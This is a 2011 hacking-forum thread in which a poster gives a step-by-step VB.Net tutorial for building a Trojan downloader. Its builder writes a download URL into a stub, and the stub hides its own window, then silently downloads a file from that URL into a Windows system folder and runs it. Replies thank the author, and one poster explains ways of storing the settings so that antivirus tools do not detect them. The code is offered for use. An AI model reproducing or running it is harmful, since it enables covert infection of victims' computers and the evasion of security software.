Sinisterly
[VB.Net] Make your own Trojan Downloader - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework)
+--- Thread: [VB.Net] Make your own Trojan Downloader (/Thread-VB-Net-Make-your-own-Trojan-Downloader)

Pages: 1 2


[VB.Net] Make your own Trojan Downloader - 1234hotmaster - 01-31-2011

hi guys this is one of my tut's which i thought might help you.

Step 1:

Start a new project. Open Visual Studio Again and start another new project.
name the first project "Builder" and the second "Stub".



Step 2:

On the builder project add 1 text box and name it to "txtdl" and add a new button below it and set its name to "btnbld" and its text to "Build". Now add a textbox and name it "dldir" and make its size half the first textbox then set its text to "C:\WINDOWS\".


Step 3:

Add a new textbox and name it to "yourserver" and set its text to "server" then add another textbox next to it and name it "yourext" and set its text to ".exe".


Step 4:

You can decorate your Trojan Downloader with label's explaining to the user how to work with it. Your finished form's designer should look like something like this:
[Image: i55558_looklikethis.JPG]



Step 5:

Now double click the btnbuild button and add this code:
Code:
io.file.copy(CurDir() & "\stub.exe", curdir & "\" & yourserver.Text & yourext.Text) io.file.appendalltext(CurDir() & "\" & yourserver.Text & yourext.Text, "FileSpilt" & txtdl.Text & "FileSpilt" & dldir.Text) MsgBox("Built!", msgboxstyle.Information)


Step 6:

Now go in the Stub project. Double click the form and add this:
Code:
me.height = 0 me.width = 0 me.opacity = 0 me.hide me.visible = false me.showintaskbar = false me.showicon = false



Step 7:

Now in the stub below the codes from the last step add this:
Code:
Dim txtdl, dldir As String Dim BinText As String = IO.File.ReadAllText(Application.ExecutablePath) If BinText.Contains("FileSpilt") = False Then Exit Sub Dim ArrContents() As String = Split(BinText, "FileSpilt") txtdl = ArrContents(1) dldir = ArrContents(2) Try my.computer.network.downloadfile(txtdl, dldir & "/server.exe") system.diagnostics.process.start(dldir & "/server.exe") me.close() catch ex as exception end try



Step 8:

Just build your server by giving a link to txtdl.text and setting its path like "C:\" or "C:\WINDOWS\System32".



and Wham! you made your own VB Trojan Downloader! congratz! :thumbs:


Credits:
1lussion - for giving me the idea to post this :thumbs:
Coder - for his amazing Stub guide :Thumbs:

Note: This was note leeched or copied from anywhere else. At least a thanks is expected. Please don't leech or if you share please tell the source and the author thank you Smile


RE: [VB.Net] Make your own Trojan Downloader - 1llusion - 01-31-2011

Nice one Smile

Will help definetly Tongue

PS: cool Biggrin I have creds Biggrin


RE: [VB.Net] Make your own Trojan Downloader - Lenalee - 02-01-2011

wow nice TongueThx for the source code^^


RE: [VB.Net] Make your own Trojan Downloader - 1234hotmaster - 02-01-2011

your welcome just glad you like it Smile


RE: [VB.Net] Make your own Trojan Downloader - Coder-san - 02-01-2011

Good work. Smile

You don't need EOF for this though. I'll make a tutorial about String-replacement later, a new form of containing user-settings. Which is pretty much impossible to be detected by AVs. Smile

EDIT: Unfortunately I'm new to .NET, and I'm not aware of what .NET does to Strings after compiling. In VB6 String-replacement is easier.


RE: [VB.Net] Make your own Trojan Downloader - 1llusion - 02-01-2011

(02-01-2011, 01:53 PM)Coder-san Wrote: Good work. Smile

You don't need EOF for this though. I'll make a tutorial about String-replacement later, a new form of containing user-settings. Which is pretty much impossible to be detected by AVs. Smile

eh.. now I really freaked out O.o could you explain me more about EOF? I think I was using it without knowing O.o Smile

Like, what exactly is EOF in the code Biggrin and characteristic Biggrin thanks a bunch Smile


RE: [VB.Net] Make your own Trojan Downloader - Coder-san - 02-02-2011

In builder-stub applications you have to store information provided by the user in the stub to form a server. Now you can do that either by adding that data after the EOF of the stub (End Of File), or by adding them as a separate Resource, or by compiling at Runtime (using CodeDom), or by simply replacing strings in a stub.
Some AVs are able to detect data after EOF easily, using some algorithm. Similar is the case for Resource, not that easily though. CodeDom is new and undetected so far. And there is nothing which makes String-replacement anything suspicious, it can't be tagged at all.

EDIT: btw you can access Environment variables even by enclosing them with %, like for getting Windows Directory just try to open %windir%.


RE: [VB.Net] Make your own Trojan Downloader - 1234hotmaster - 02-02-2011

sad i don't understand a word of getting text from stub XD

tnx but i already know few of the Enivron's and i can use another ways to get these paths Smile


RE: [VB.Net] Make your own Trojan Downloader - wannabe_mybb_import6219 - 05-15-2011

With Trojan Downloader i can build Trojans? Smile


RE: [VB.Net] Make your own Trojan Downloader - 1234hotmaster - 05-15-2011

(05-15-2011, 05:30 PM)wannabe Wrote: With Trojan Downloader i can build Trojans? Smile

no you can download trojans from sites and then open them Tongue